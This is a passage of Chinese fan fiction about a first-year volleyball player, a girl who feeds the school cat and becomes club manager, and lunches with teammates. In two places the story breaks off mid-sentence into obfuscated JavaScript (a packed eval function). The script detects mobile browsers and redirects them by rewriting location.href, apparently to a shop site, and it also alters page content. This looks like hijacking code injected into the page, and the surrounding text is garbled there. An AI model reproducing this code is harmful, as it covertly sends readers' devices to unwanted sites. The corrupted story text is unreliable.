女生蹲在那里，看着它吃。阳光从树叶的缝隙里漏下来，落在她肩上，落在猫的背上。 她听到脚步声，抬起头。 两人对视了一秒。 “......早。”她说。 “早。” 牧野清站在原地，不知道该走还是该留。猫还在吃，发出很轻的吧嗒吧嗒的声音。女生没再说话，又低下头去看猫。 他正准备走，她突然开口。 “昨天有人跟我说，别喂。” 牧野清愣了一下。 “伊波？” 她抬起头，有点意外。 “你认识？” “......排球部的。” 她点点头，没说什么。 猫吃完了，开始舔爪子。女生站起来，把碟子收起来，装进一个小袋子里。 “我喂了。”她说，“每天都喂。” 她把袋子塞进书包，站起来拍了拍膝盖。 “走了。” 她往校门的方向走去。走了几步，又回头。 “你也是排球部的？” “嗯。” “伊波说的那个新生，就是你？” 牧野清想了想。 “不知道她说我什么。” 她没回答，只是笑了一下。很淡的笑，但确实是笑。 “明天见。” 她走了。 牧野清站在原地，看着她的背影消失在人群里。 猫蹲在树下，舔完爪子开始舔自己的毛。 他低头看了它一眼。 “你倒是挺幸福的。” 它没理他。 牧野清继续往体育馆走。 早训结束的时候，牧野清就坐在场边喝水。伊藤跑过来，坐在他的旁边，神情有些纠结。 “那个，你听说了吗？” “什么？” “二年一组那个女生。”他压低声音，“好像有人看到她在喂猫。” 牧野清淡定喝水。 “然后呢？” “然后？”伊藤挑眉，“你不知道吗？一般猫咪都会跟喂它的人走，这本来没什么但——她喂的是校猫。” “校猫怎么了？” “校猫，顾名思义就是归属于学校的猫。”伊藤神情严肃，“人不能，至少不该不问自取原本属于其他地方的东西。” 28. 上午的课照常进行。 国语，数学，英语。老师在黑板上写板书，下面有人在记笔记，有人在发呆，有人在偷偷看手机。牧野清坐在靠窗的位置，阳光照在桌面上，有点晃眼。 第四节课结束的时候，他收拾好东西准备去小卖部。刚站起来，手机震了一下。 是中田的消息：“饭团。中庭。” 牧野清愣了一下，然后往中庭走。 走到那棵樱花树下，中田已经在那里了。他坐在长椅上，手里拿着一个保鲜盒。看到牧野清来，他把保鲜盒打开，里面整整齐齐地码着四个饭团。 “给。”他递给牧野清一个，“梅干的。” 牧野清接，咬了一口。有点酸，有点咸，米饭有点硬——但确实是饭团的味道。 “好吃吗？”他问。 “嗯。” 他点点头，自己也拿起一个吃起来。 两人坐在长椅上，吃着饭团，谁也没说话。 风吹过，最后几片樱花飘落下来。猫不知道什么时候来了，蹲在树下，看着他们。 中田看了它一眼。 “它每天都在这？” “嗯。” “你喂过？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307604|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “没有。” 他想了想，从保鲜盒里拿出一小块饭团——不是整个的，是他自己掰下来的一小块——放在地上。 猫看了他一眼，没动。 “它不吃别人喂的。”牧野清说。 “你怎么知道？” “听说的。” 中田点点头，也没在意，继续吃自己的饭团。 过了几秒，猫站起来，慢悠悠地走过来，低头闻了闻那块饭团，然后开始吃。 中田愣了一下。 “你不是说它不吃别人喂的吗？” 牧野清沉默地看着猫，没说话。 猫吃完那块饭团，抬起头看了看中田，然后转身走回树下，继续蹲着。 中田看着它，脸上的表情有点复杂。 “......它刚才是不是看了我一眼？” “嗯。” “那是啥意思？” “不知道。” 他想了想，然后笑了。 “管它呢。”他又拿起一个饭团，“反正喂了。” 下午的课结束的时候，牧野清走去体育馆。 走到门口，看到伊波站在那里，拿着记录板，正在和谁说话。那个人背对着他，但从背影能看出来——是那个喂猫的女生。 牧野清放慢脚步。 她们在说什么听不清，但喂猫的女生点了点头，然后从伊波手里接过一张纸。伊波拍了拍她的肩膀，转身走了。 只剩喂猫的女生站在原地，看着那张纸。 牧野清走过去的时候，她抬起头。 “啊，是你。”她说。 她扬了扬手里的纸。 “经理。”她说，“从今天开始。” 牧野清愣了一下。 “你不是......” “什么？” “没什么。” 她看着牧野清，眼神有点奇怪，但没追问。 “你也是排球部的？”她问。 “嗯。一年级。” 她点点头，把那张纸折好塞进口袋。 “那以后常见。” 她走了。 牧野清站在原地，看着她的背影消失在体育馆门口。 经理。 喂猫的女生。 牧野清推开门，走进去。 训练已经开始热身了。佐藤在跑圈，看到牧野清进来，冲他挥了挥手。中田在角落里拉伸，手里攥着鞋带——这次是真的在系。 伊波站在场边，拿着记录板，正在和教练说着什么。 那个喂猫的女生站在她旁边，手里拿着一个文件夹，正在认真地听。 灯光照在地板上，很亮。 15. 第十五章 29. 日子就这么一天天过去。 四月的樱花落尽，五月的绿叶长满枝头。早上出门的时候，天已经亮得越来越早。走在路上，能听见鸟叫，能闻到路边人家院子里飘来的不知名的花香。 牧野清每天早上五点四十起床，六点到校，六点半开始早训。 生活变得很有规律。规律的像那个永远准时响起的闹钟。 早训，上课，午休，下午的课，放学后的训练，回家，吃饭，睡觉。偶尔在空隙里写写作业，偶尔在睡觉前看看手机。 没什么特别的。 但也没什么不好。 五月的第二个星期一，早训结束后，他坐在场边喝水。 伊藤气喘吁吁跑过来，坐在牧野清旁边，把毛巾搭在头上。 “你听说了吗——” “什么？” “六月的IH，大见教练大概会在现在的正选里面调下部分人，换上一队替补、二队、三队、一年级的人。”伊藤从毛巾下面探出脑袋，“说不定我们有机会。” “你从哪里听说的？”牧野清疑惑。 “铃木告诉我的，就是那位喂猫的经理。” “即使要换人，我们也不一定有机会。”牧野清摇了摇头，“全国前五的主攻手尾白阿兰，全国第一的二传手宫侑——怎么看我们都不一定能选上。” “不说正选，多少我也要试试二传替补吧？”伊藤笑了笑，“而且你，每一位主攻手专注的方向都不同，有的注重力量，有的则是角度——万一你能被选上呢？” “还是不要做梦的好。” 30. “累死了累死了累死了——” 山下抄完作业趴在课桌上哀嚎，每天早上都这么叫嚷，但每天又比谁都勤快。 “对了对了，”山下忽然直起身子，“今天中午一起吃饭呗。” “你不是一直便利店吗？” “今天不一样！”他眼睛亮起来，“今天我妈给我做了便当！超——豪华的那种！” “为什么？” “什么为什么？” “为什么突然给你做便当？” 他嘿嘿笑了两声。 “昨天考试考砸了，她生气，说要给我做顿好的补补。”他挠挠头，“我也不知道这是什么逻辑。” 牧野清沉默地看着他。 “你是真的不懂还是装的？” “什么？” “没什么。” 中午的时候，牧野清拿着便当盒往中庭走。走到那棵樱花树下，山下已经在那里了。 他坐在长椅上，面前摆着一个巨大的便当盒，里面花花绿绿的，确实很豪华。 意外的是，中田也在，不过想到他们两个似乎是同班也就不奇怪了。 中田坐在长椅的另一端，手里拿着那个熟悉的保鲜盒，里面装着几个饭团——最近他每天都带多一个给牧野清。 “哟！都认识吧？那我就不做介绍了。”山下冲牧野清挥手，“快来快来！我给你们看个好东西！” 牧野清走过去，在他旁边坐下。 他从便当盒里夹出一块炸鸡，举到牧野清面前。 “看！这个！我妈妈特制的！秘方！” 牧野清看了看那块炸鸡，又看了看他。 “吃啊！” 迟疑了一会，牧野清咬了一口。确实挺好吃的，外酥里嫩，调味刚好。 “怎么样怎么样？” “好吃。” “对吧对吧！”他得意洋洋地把那块炸鸡塞进自己嘴里，“我就说我妈做饭好吃！” 中田在旁边默默吃着饭团，看着他们俩。 “那个，”他开口，“山下，你昨天考试多少分？” 山下的表情僵了一下。 “这个嘛......” “他说考砸了。”牧野清说。 “多少分？” 山下沉默了两秒。 “......二十七。” 中田差点被饭团噎住。 “二十七？！满分一百的那种？” “那个......数学嘛......我不擅长......” “二十七分给你做这么豪华的便当？！” “所以说我也不知道这是什么逻辑嘛——” 他们两个开始争论起来。牧野清继续吃他的便当，听着他们在旁边吵吵闹闹。 风吹过来，树叶沙沙响。 猫不知道什么时候来了，蹲在树下，看着我们。 “啊，”山下停下来，“那只猫又来了。” “它每天都来。”中田说。 “你喂过？” “喂过一次。”中田看了牧野清一眼，“他说它不吃别人喂的，但我喂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307605|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候它吃了。” “真的假的？”山下来了兴致，从便当盒里夹出一块鱼肉，“那我试试。” 他把鱼肉放在地上。 猫看了他一眼，没动。 “来啊来啊，很好吃的——” 猫继续蹲着，舔了舔爪子。 “它不吃。”中田说。 “为什么你喂的时候它就吃？” “不知道。” 山下不甘心，又往前推了推那块鱼肉。猫站起来，慢悠悠地走了。 “啊——走了——” 牧野清看着猫离开的背影。它走到另一棵树下，蹲下来，继续舔爪子。 “它挑人。”牧野清说。 “挑人？”山下和中田同时看向牧野清。 “不知道。猜的。” 山下把那块鱼肉捡回来，吹了吹上面的灰，塞进嘴里。 “浪费什么。” 中田看着他，欲言又止。 31. 下午的训练结束后，牧野清留下来加练了一会儿。 教练说他的扣球还是太“自由人”——总是在等，而不是在追。所以他每天训练结束后，会多练半个小时的助跑起跳。 “还在练？” 声音从旁边传来。牧野清落地，转头，是伊波。她站在场边，拿着记录板，旁边站着铃木。 “嗯。” “该回去了。”伊波说，“门要关了。” “马上。” 牧野清又练了五个球。伊波和铃木站在那里看着，没有走。 最后一个球扣下去的时候，牧野清落地时膝盖软了一下——今天练得有点多，腿已经到极限了。 “没事吧？”铃木的声音。 牧野清抬头，她往前走了两步，脸上有点担心。 “没事。” 牧野清站起来，活动了一下膝盖。确实没事，就是累了。 伊波走过来，看了看他的腿。 “明天休息一天。” “不用——” “不是商量。”她把记录板夹在腋下，“教练说的。你最近练得太狠了，再这样下去会受伤。” 牧野清没说话。 铃木在旁边看着他，表情有点复杂。 “走吧，”伊波转身，“关门了。” 牧野清收拾好东西，和她们一起走出体育馆。